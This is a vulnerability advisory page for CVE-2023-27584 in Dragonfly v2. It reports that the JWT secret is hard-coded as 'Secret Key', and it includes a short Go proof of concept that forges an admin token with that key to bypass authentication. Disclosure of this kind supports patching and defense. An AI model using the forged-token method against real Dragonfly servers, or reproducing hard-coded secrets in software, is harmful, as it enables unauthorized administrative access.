CVE-2023-27584 — Vulnerability in d7y.io/dragonfly/v2 — CVE Details

### Summary Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. ### Details Dragonfly uses [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass ```go authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 * 24 * time.Hour, MaxRefresh: 2 * 24 * time.Hour, IdentityKey: identityKey, IdentityHandler: func(c *gin.Context) any { claims := jwt.ExtractClaims(c) id, ok := claims[identityKey] if !ok { c.JSON(http.StatusUnauthorized, gin.H{ "message": "Unavailable token: require user id", }) c.Abort() return nil } c.Set("id", id) return id }) ``` ### PoC Use code below to generate a jwt token ```go package main import ( "errors" "fmt" "time" "github.com/golang-jwt/jwt/v4" ) func (stc *DragonflyTokenClaims) Valid() error { // Verify expiry. if stc.ExpiresAt <= time.Now().UTC().Unix() { vErr := new(jwt.ValidationError) vErr.Inner = errors.New("Token is expired") vErr.Errors |= jwt.ValidationErrorExpired return vErr } return nil } type DragonflyTokenClaims struct { Id int32 `json:"id,omitempty"` ExpiresAt int64 `json:"exp,omitempty"` Issue int64 `json:"orig_iat,omitempty"` } func main() { signingKey := "Secret Key" token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{ ExpiresAt: time.Now().Add(time.Hour).Unix(), Id: 1, Issue: time.Now().Unix(), }) signedToken, _ := token.SignedString([]byte(signingKey)) fmt.Println(signedToken) } ``` And send request with JWT above , you can still get data without restriction. <img width="1241" alt="image" src="https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png"> ### Impact An attacker can perform any action as a user with admin privileges.